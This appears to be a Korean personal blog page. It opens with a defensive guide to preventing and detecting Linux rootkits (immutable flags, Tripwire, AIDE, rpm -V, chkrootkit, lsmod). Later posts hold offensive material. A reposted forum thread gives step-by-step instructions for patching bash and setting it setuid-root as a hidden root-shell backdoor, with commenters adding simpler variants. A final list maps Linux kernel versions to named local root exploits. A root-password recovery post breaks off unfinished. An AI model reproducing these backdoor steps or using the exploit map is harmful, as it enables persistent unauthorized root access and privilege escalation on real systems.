루트킷 예방

루트킷 예방은 어떤 다른 형태의 공격에 대한 예방과 같이 기본적인 시스템 보안에서 출발한다. 기본적인 시스템 보안계획은 소프트웨어 벤더에서 제공하는 패치로 애플리케이션을 업데이트하는 것 뿐만 아니라, 방화벽과 VPN등을 포함한다. 기본적인 보안 도구들을 실행함으로써 관리자는 상대적으로 안전한 네트워크를 보증할 수 있다.


보안기초

 
모든 네트워크에 대한 방화벽

방화벽을 사용하여 인터넷으로부터 연결되는 모든 네트워크가 보호된다고 확신하는 것은 방화벽에 대한 오해의 좋은 예이다. 관리자는 방화벽만이 침입자를 단념시키는 유일한 예방도구가 아니라는 점을 명심해야 한다.

 

모든 시스템 상에서 무엇이 실행되고 있는지 정확하게 알고 있어라.

어떤 시스템이 설치된 후에는 무엇이 실행되고 있는지 목록을 작성하라. 불필요한 서비스는 모두 종료시켜라. 비인가 애플리케이션을 실행하지 않도록 하기 위해서 시스템 프로세스에 대한 감사(audit)를 주기적으로 수행하라.

 

사용자에게는 해당 업무를 수행에 필요한 만큼의 접근을 승인하라.

사용자에게 절대로 필요 이상의 네트워크 서비스 접근을 제공하지 말아라. 사용자가 업무를 수행하기에 필요한 서비스에 대해서만 허가를 승인하라.

 

VPN과 Secure Shell과 같은 보안 통신을 가능하게 하라

VPN을 설치함으로써 관리자는 WAN상에서 전송되는 모든 데이터가 암호화된다는 것을 확신할 수 있을 것이다. Secure Shell(SSH)은 텔넷(telnet) 프로토콜을 대체한다. SSH는 사용자명과 암호를 포함한, 세션간 전송되는 모든 데이터를 암호화한다.

 

모든 벤더가 업데이트하는 것에 대하여 최신의 상태를 유지하라

운영체제 및 애플리케이션에 대한 보안 및 버그 패치는 주기적으로 이루어진다. 보안 이슈를 해결한 최신의 벤더 배포 버전으로 시스템을 최신 상태로 유지하라. 많은 공격자들은 매일 사용되는 애플리케이션에서 공개된 취약성을 악용하여 관리자 레벨 접근 권한을 획득한다.

 

호스트 및 네트워크 기반의 침입탐지 시스템을 설치하라

여러분의 네트워크에서 어떤 일이 일어나는지 아는 것은 매우 중요하다. 침입자가 접근권한을 획득하려고 할 때, 여러분의 IDS(Intrusion Detection System-침입탐지시스템) 애플리케이션으로 하여금 여러분에게 알려주도록 설정하라.

 

모든 로그 파일을 모니터링 하라

대부분의 시스템 활동이 로그(log)로 남기 때문에 로그 파일을 모니터링 한다면, 관리자가 매우 유리한 위치를 점유하게 된다. Logwatch나 LogSentry같은 로그 검사 프로그램을 사용하여 이런 일을 자동화하는 것은 매우 좋은 생각이다. 물론 로그 파일을 하는 것으로 관리자가 루트킷의 공격을 바로 알 수는 없다. 로그인 시도에 대하여 성공하거나 실패한 것과 같은 비정상적인 시스템 활동을 알 수 있는 것이다.

 

기본적인 보안 사전경고를 실시하는 것은 시스템에 대한 침입을 막고 어떤 종류의 공격도 예방하는 첫번째 단계이다. 관리자는 파일 보안을 확립함으로써 루트킷의 공격을 막아낼 수 있다.

 

파일속성(Attributes) 보안

파일 보안을 구현하기 위해서는 관리자가 따라야 할 몇 가지 단계가 있다. 공통 파일은 덮어쓰거나 변경될 수 없다고 보증하는 것이 한 가지 방법이다. 이것은 중요한 시스템 파일들에 대해서 immutable Flag를 셋팅함으로써 이루어진다.

 

Immutable Flag의 사용

immutable이라는 용어는 "변경할 수 없는"이란 뜻이다. immutable flag를 어떤 파일에 셋팅함으로써 그 파일은 수정하거나, 이름을 바꾸거나, 지울 수 없고, 심지어 링크도 걸 수 없다.

 

파일에 immutable flag를 셋팅하기 위해서는 대부분의 리눅스 배포판에서 찾을 수 있는 "chattr"이라는 명령어를 사용하면 된다.

 

·chattr +i <file>: immutable flag를 셋팅한다.

·chattr -i <file>: immutable flag를 해제한다.

·lsattr <file>: 파일에 적용된 속성들을 화면에 출력한다.

 

일부 공통 파일에 immutable flag를 셋팅하는 것은 그 파일이 변경될수 없다고 표시하는 것이기 때문에 대부분 루트킷의 작동을 불가능하게 만든다. 이런 방법으로도 LKM(loadable kernel modules) 루트킷을 막을 수는 없다. 이것은 커널이 "불변"으로 설정될 수 없는 것과 같다. 보고서 초반에 제시한 파일 목록은 어떤 파일에 immutable flag를 셋팅할 지 결정할 때, 좋은 출발점이 될 것이다.

 

immutable flag는 루트(root)에 의해서만 셋팅되거나 해제될 수 있다. 이 flag는 쉽게 셋팅할 수 있는 것처럼 쉽게 해제할 수도 있음을 기억하라. 공격자가 시스템에 접근했다는 것은 그 flag가 셋팅된 것을 발견하고 해제시켰을 수도 있음을 의미한다. 공격자는 immutable flag를 해제한 이후에 루트킷을 설치할 수 있다. 그러므로 루트킷에 대한 유일한 방어수단으로서 immutable flag만을 의지하지는 말아라.

 

다음의 보안 기초 가이드라인을 준수하라. 보안도구를 설치한 이후에 관리자는 그 시스템들에 대하여 실제로 탐지하고 모니터링 하는 것을 시작해야만 한다. 

루트킷 탐지 및 모니터링

관리자는 어떻게 숨어있는 프로그램을 모니터링 할 수 있는가?

기본적으로 관리자가 시스템의 활동을 모니터링할 수 있도록 도와주기 위해 개발된 애플리케이션이 있다. 그런 애플리케이션을 사용하면 관리자가 루트킷을 모니터링 할 수도 있다.

 

Tripwire와 AIDE

Tripwire와 AIDE는 모두 파일의 무결성을 모니터링하기 위해 사용되는 유틸리티이다. 두 프로그램 모두 현재의 파일 및 디렉토리의 변화를 비교하기 위하여 파일 및 디렉토리 속성을 DB에 저장하고, DB에 대한 보안 암호를 생성한다. 파일 무결성 검사를 위해서 MD5를 이용한다. MD5는 임의의 길이의 문자열 데이터를 더 짧은 고정길이의 값으로 변형시키는 해쉬(Hash)함수이다. 어떤 두 문자열 데이터도 같은 MD5값을 가질 수 없다고 믿어진다.

 

리눅스 레드햇(Linux Redhat) 7.1 시스템에서 netstat와 ls에 대한 md5sum결과 값은 다음과 같다.

 

        dc1961b6ce3ff6d6fe2c89c8603f4985        ls
        30286974e55bb9f9e82f93cc44c39492       netstat

 

만약 모니터링되고있는 파일이 어떤 방식으로든 수정된다면, Tripwire와 AIDE는 관리자에게 변경사실을 알려줄 것이다.

 

두 애플리케이션 모두 보안 분야에서 광범위하게 사용되고 있다. 나는 이에 대해 더 자세히 살펴보고, 여러분의 기업 전체에서 사용하기를 권고한다. Tripwire는 사업적 또는 GNU licensing으로 모두 사용가능하다. AIDE는 GNU licensing으로 사용가능하다.

 

http://www.tripwire.com       commercial license
http://www.tripwire.org        gnu license
http://www.cs.tut.fi/~rammer/aide.html

 

레드햇 패키지 관리자(Redhat Package Manager)

Tripwire와 AIDE등과 상당히 유사하게, 레드햇 패키지 관리자(rpm)은 설치된 애플리케이션의 첵섬(checksum)을 검증하는데 사용될 수 있다. rpm은 첵섬을 검증할 뿐만 아니라, 파일의 접근권한 및 크기(size)와 같은 다른 종류의 불일치 사항도 검증할 수 있다. rpm은 옵션(option)으로 "-V"가 붙어서 설치된 임의의 rpm 패키지의 서명(signature)을 검사하는데 사용된다. "-Va"옵션을 사용하면 모든 설치된 패키지를 검사할 수 있다.

 

테스트 시스템에서 "rpm -V util-linux"을 실행시켜 보면 다음과 같은 결과를 얻을 것이다.

.......T c /etc/fdprm
.......T c /etc/pam.d/chfn
.......T c /etc/pam.d/chsh
S.5....T c /etc/pam.d/login

 

아래에서 볼 수 있는 "man"에서 발췌한 것을 이용하면, 여러분은 위의 rpm명령어의 실행결과를 이해할 수 있을 것이다. 결과에 따르면, 모든 파일에서 mTime(T)가 변화하였다는 것을 알 수 있다. mTime은 파일의 수정 날짜와 시간이다. 또한 "login"파일에서는 파일크기(file size:S)와 MD5 첵섬(checksum:5) 역시 변경되었음을 알 수 있다. 이런 정보를 이용하여 관리자는 왜 파일이 변경되었는지 알아볼 수 있다.

 

RPM에 대한  "man"의 출력결과:

 

S   파일 크기(Size)가 변경됨

M  모드(Mode)가 변경됨(접근권한permission 및 파일 타입을 포함)

5   MD5 첵섬이 변경됨

D   주/부(major/minor) 장치(Device) 수가 일치하지 않음

L   읽기 연결(readLink)(2)경로가 일치하지 않음

U   사용자(User) 소유권이 변경됨

G   그룹(Group) 소유권이 변경됨

T   파일수정일시(mTime)이 변경됨

 

Chkrootkit이라 불리는 다른 애플리케이션은 관리자가 루트킷 서명(signature)를 탐지하는 것을 돕는다.

 

Chkrootkit

Chkrootkit은 루트킷에 의한 변형작업에 대하여 시스템 바이너리(binaries)를 검사하기 위한 쉘 스크립트이다. 이 프로그램은 잘 알려진 LKM(loadable kernel modules)루트킷을 탐지할 수도 있다. Chkrootkit은 Nelson Murilo에 의해 만들어져 유지보수 되고 있으며, "www.chkrootkit.org"에서 찾을 수 있다.

 

다음 명령어 파일들을 이용하면, chkrootkit은 시스템 내에 루트킷이 자리잡은 공통파일과 디렉토리 들을 찾을 수 있다.

· awk
· cut
· echo
· egrep
· find
· head
· id
· ls
· netstat
· ps
· strings
· sed
· uname

 

Chkrootkit은 "/proc" 디렉토리에 대한 ps실행결과를 검사하여 숨겨진 프로세스에 대한 검사를 수행할 수도 있다. 많은 루트킷이 숨겨진 프로세스로서 스니퍼(sniffer)와 백도어(backdoor)를 실행시킨다. 전체자원이 가동중인 시스템 상에서, 한 프로세스가 비교작업을 완료하기 전에 시스템이 그 프로세스를 종료시킬 수도 있기 때문에, 이 프로세스가 생성한 긍정적인(positive) 결과에는 오류가 있을 수 있다.

 

Chkrootkit은 또한, 네트워크 인터페이스가 'promiscuous mode'에 있지 않은지 검증한다. Promiscuous 모드는 네트워크 상에서 도착하는 모든 네트워크 패킷에 대해 네트워크 장비가 가로채서 읽을 수 있도록 허용한다. 이모드에서는 분석을 위해 모든 패킷을 스니퍼(sniffer) 프로그램에 제공한다.

 

Chkrootkit을 사용하면 대체(alternate)경로로부터 명령어 파일들을 사용할 수도 있다. 이 옵션을 사용하면, 관리자는 위의 목록에 있는 파일들을 쓰기 방지된 파일시스템 또는 CD, 플로피 디스켓에 저장할 수 있다. 만약 복사 방지가 가능하다면, immutable flag를 지정함으로써 덮어쓰기를 확실히 방지할 수 있다. 이것은 chkrootkit이 감염되지 않은 파일을 사용하고 있다는 것이 확실하다는 뜻이다. 이미 감염된 파일을 사용한다면 이 애플리케이션을 사용하는 목적을 망치고 있는 것이다.

 

앞서 언급한 바와 같이, chkrootkit은 알려진 LKM 루트킷을 모니터링하고 탐지한다. 덧붙여, lsmod, kstat와 같은 명령어를 활용하면 관리자가 이런 종류의 루트킷을 모니터링하는 것에 도움이 될 것이다.

 

LSMOD

Lsmod는 커널에 로드된 모듈 목록을 작성하기 위해 사용하는 유틸리티이다. 관리자는 이 명령어의 실행결과에 친숙해져야 한다. 다음은 RedHat 7.2 시스템에서 실행시킨 lsmod명령어의 실행결과이다. 다음 결과는 모듈명과 모듈크기, 사용횟수 그리고 참조하는 모듈 목록 등을 보여준다.

 

3c59x         28424    1
cdrom        31936    0    (autoclean) [sr_mod]
sr_mod      16056    10   (autoclean)
ext3           64768    2
usb-uhci    24324    0    (unused)
usbcore     71072    1    [usb-uhci]
ext3           64768    2
jbd            47892    2    [ext3]
aic7xxx      128256   3
sd_mod     12832     6
scsi_mod   104800   4    [sr_mod aha1542 aic7xxx
sd_mod]

 

커널로 로드되는 모든 모듈을 추적하는 것은 LKM 루트킷을 모니터링하는 매우 좋은 프로세스이다. lsmod가 루트킷 모듈에 의해서 변형되어 루트킷 모듈을 숨기는 데 악용될 수도 있다. 커널로 로드되는 모듈이 어떤 것인지 목록을 만들기 위해 사용되는 또 다른 명령어가 있다. 이것은 'cat'이라고 불린다.

 

Cat는 파일을 연결시키고 화면 또는 기타 출력장치로 출력시키는 명령어이다. '/proc/modules'에 대하여 cat을 실행시키면 lsmod의 실행결과와 동일한 정보를 화면에 보여줄 것이다.

 

블로그 주인의 푸념

루트킷, exploit, 하이재킹, 스푸핑, 스니핑, 커널링, BOF, DDoS 웹 상에서 마치 전쟁이라도 벌어지듯 많은 일들이 일어난다.. 특히 웹서버나, 어떤 회사, 특히 상용 서비스라면 장난이 아니다.
서버나 웹을 공격, exploit code, 스니핑, 심지어는 cgi script, troy 변조 방법 까지 엄청난 자료들이 구글링과 커뮤니티에서 구할 수 있다.

필자인 나는 8월부터 11월까지 총 3번의 홈서버(smb,ftp,APM) 등 간단하게 사용할 목적으로 REDHAT9.0 을 설치해서 사용했지만...

3번이나 털렸다 각각 한번씩 털릴때마다 재설치 했고 어차피 파일 삼바 전용이라 신경도 안썻다 물론 역추적은 해봤지만..., 전부 웹 스크립타, 아파치를 타고 들어왔으며..
1번째 ,,, 는 .. 루마니아 ?!
2번째, 3번째는 엄청난 대륙 차이나..

그런데 이번 11월에 4번째로 털렸다..
루트킷이다...
사용자 계정은 접속 거부가 뜬다 미친...ㅠㅠ 그래서 루트킷을 파해치고 보안에 신경을 쓸것이다..
그래서 '리눅스 보안 - 루트킷' 관련 글들을 수집하고 기재했다 ..

물론 내가 전부 작성 한건 아니다, 원작자와, 스크랩을 가능하게 해주신 분들에게 감사드린다..
루트킷 내가 파해쳐서 반격할거다..
기다려 내서버 아파치만 깔면 터는 인간들아
 
저작자 표시 비영리
Posted by 티엘로


요즘은 기초적인 해킹 공부를 하려고 해도 shell level에서 setuid를 막아버
려 간단한 방법으로는 root shell을 만들기가 어렵게 되어 있습니다.

이 문서는 최신 버전 bash(현재 2.05b)를 기준으로 root shell을 만드는 방
법에 대해 간단히 적혀있습니다.

해킹 공부 목적에 사용하시건, 악용하시건, 사용자 마음이지만, 책임도 같
이 지시기 바랍니다. :)


** 준비물 **
bash 최신 버전 (bash-2.05b.tar.gz)
슈퍼 유저 권한

bash 최신 버전은 ftp.gnu.org에 공식 배포본을 구하실 수 있으며,  
ftp.linux.sarang.net에서도 미러링되어 있습니다. 슈퍼 유저 권한은 따로  
설명하지 않겠습니다.


** root shell 만들기 **
우선 bash 소스를 압축 푼 뒤에 shell.c를 수정해야 합니다.
2.05b를 기준으로 442라인에 보시면 아래의 구문이 있습니다. (타 버전에서
는 위, 아래 라인을 잘 살펴보세요)

if (running_setuid && privileged_mode == 0)
  disable_priv_mode ();

간단합니다. disable_prov_mode()부분을 주석 처리해 버립시다.

->
if (running_setuid && privileged_mode == 0);
  /* disable_priv_mode (); */

if문 뒤에 세미콜론을 찍는 것을 까먹지 마시고...

다음에 컴파일 해야 합니다. 좀 더 완벽한 루트쉘을 위한 configure옵션을  
적는다면...

$ ./configure --enable-static-link --disable-history

뭐 적당한 옵션을 줘서 configure하고 make하면 bash 바이너리 파일이 컴파
일됩니다.

다음에 루트 권한으로 쑤시는 명령들...

# chown root.root bash
# chmod 6755 bash
# ls -l bash
-rwsr-sr-x    1 root     root      2264774  9월 11 22:03 bash
#

오.. 이쁜 루트쉘이 탄생했군요. 그럼 일반 유저 권한으로 실행해보면...

$ ./bash
# id
# uid=1000(xxxx) gid=100(users) euid=0(root) egid=0(root) groups=100
(users)

euid, guid가 root로 된 것을 확인할 수 있습니다.


유용하게 쓰셨으면 하며... 쉬운 내용이지만 가능한 한 악용하지 말아 주셨
으면 합니다.

그럼...
  
글쓴이: 성현* [홈페이지] 글쓴날: 2002-09-12 01:40:20 읽은수: 617 <+>  
C에서 setreuid() 함수도 setuid 안먹히나요?  

[jsh83@gelug jsh83]$ bash --version  
GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)  
Copyright 2000 Free Software Foundation, Inc.  
[jsh83@gelug jsh83]$  

버전은 위와 같고, 2.05b하고는 다른 건지 모르겠지만..;  


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
        int n;

        setreuid(0, 510); // 510은 jsh83의 권한
        system("/usr/bin/id");

        exit(0);
}


위와 같이 파일 만들어서 루트권한으로 컴파일 한 후  

chmod 4751 파일명 && chgrp jsh83 파일명  

하니깐 잘 되던데요.. 이번엔 안되는지요?  
  
글쓴이: godyang 글쓴날: 2002-09-12 12:59:22 읽은수: 350 <+>  
안녕하세요?  

훨씬 더 간단한 방법이 있었군요. =_=  

제가 고친 부분의 요지는... bash에서 euid도 먹게 하자는 의도었고...  
성현님의 요지는... 아예 real uid도 바꿔버리자는 의도인 것 같습니다.  

성현님의 방법이 더 간단한 듯... :)  

팁 감사합니다.  

그럼...  
  
글쓴이: nobody 글쓴날: 2002-09-12 15:46:53 읽은수: 362 <+>  
sh-2.05# bash --version  
GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)  
Copyright 2000 Free Software Foundation, Inc.  

sh-2.05# cp /bin/bash .  

sh-2.05# chmod +s bash  

sh-2.05# su test  

[test@test test]$ id  
uid=624(test) gid=512(test) groups=512(test)  

[test@test test]$ ./bash -p  

bash-2.05# id  
uid=624(test) gid=512(test) euid=0(root) egid=0(root) groups=512(test) 
저작자 표시 비영리
Posted by 티엘로


리눅스에서 root암호, 사용자 암호 분실, 또는 해킹으로 인한
암호 변조시 서버에 직접 붙어서 암호를 변경, 찾을 수 있다

= root가 아닌 일반사용자의 암호 알아내기

1. root로 로그인을 한다.

2. 한글터미널을 띄운다.

3. 'passwd 사용자이름' 을 입력한다. 예) 잃어버린 암호 사용자 이름이 guswls이라면 -> passwd guswls

4. 새로운 패스워드를 입력하라고 나온다. 이때 타자를 쳐도 커서가 밀리는게 보이지 않는다.

그래도 무시하고 새로운패스워드를 차근차근 쳐서 엔터!

5.확인입력! 다시 한번 패스워드를 쳐준다.!

6. 로그아웃시킨후 변경된 패스워드로 다시 로그인 해준다!

 

*참고로 이 방법은(passwd명령) root로 접속하였을때만 먹히는 명령어로써 일반 사용자로 들어가서 root암호를 이딴식으로 바꾸려 한다면 절대 안된다!!

 

= root 암호 알아내기

페도라 이외의 다른 리눅스 버젼도 비슷하다
edit 모드인 (e)키를 눌러 접속한다


 

 

 

 

 

Posted by 티엘로

리눅스 커널 버젼별 취약 리스트

*커널 버젼
*취약 CODE



2.4.17
newlocal
kmod

2.4.18
brk
brk2
newlocal
kmod
km.2

2.4.19
brk
brk2
newlocal
kmod
km.2

2.4.20
ptrace
kmod
ptrace-kmod
km.2
brk
brk2

2.4.21
km.2
brk
brk2
ptrace
ptrace-kmod

2.4.22
km.2
brk2
brk
ptrace
ptrace-kmod

2.4.22-10
loginx
./loginx

2.4.23
mremap_pte

2.4.24
mremap_pte
Uselib24

2.4.25-1
uselib24

2.4.27
Uselib24

2.6.0
REDHAT 6.2
REDHAT 6.2 (zoot)
SUSE 6.3
SUSE 6.4
REDHAT 6.2 (zoot)
all top from rpm
-------------------------
FreeBSD 3.4-STABLE from port
FreeBSD 3.4-STABLE from packages
freeBSD 3.4-RELEASE from port
freeBSD 4.0-RELEASE from packages
----------------------------
all with wuftpd 2.6.0;
=
wuftpd
h00lyshit

2.6.2
mremap_pte
krad
h00lyshit

2.6.5 to 2.6.10
krad
krad2
h00lyshit

2.6.8-5
krad2
./krad x
x = 1..9
h00lyshit

2.6.9-34
r00t
h00lyshit

2.6.13-17
prctl
h00lyshit
-------------------
2.4.17 -> newlocal, kmod, uselib24
2.4.18 -> brk, brk2, newlocal, kmod
2.4.19 -> brk, brk2, newlocal, kmod
2.4.20 -> ptrace, kmod, ptrace-kmod, brk, brk2
2.4.21 -> brk, brk2, ptrace, ptrace-kmod
2.4.22 -> brk, brk2, ptrace, ptrace-kmod
2.4.22-10 -> loginx
2.4.23 -> mremap_pte
2.4.24 -> mremap_pte, uselib24
2.4.25-1 -> uselib24
2.4.27 -> uselib24
2.6.2 -> mremap_pte, krad, h00lyshit
2.6.5 -> krad, krad2, h00lyshit
2.6.6 -> krad, krad2, h00lyshit
2.6.7 -> krad, krad2, h00lyshit
2.6.8 -> krad, krad2, h00lyshit
2.6.8-5 -> krad2, h00lyshit
2.6.9 -> krad, krad2, h00lyshit
2.6.9-34 -> r00t, h00lyshit
2.6.10 -> krad, krad2, h00lyshit
2.6.13 -> raptor, raptor2, h0llyshit, prctl
2.6.14 -> raptor, raptor2, h0llyshit, prctl
2.6.15 -> raptor, raptor2, h0llyshit, prctl
2.6.16 -> raptor, raptor2, h0llyshit, prctl

Posted by 티엘로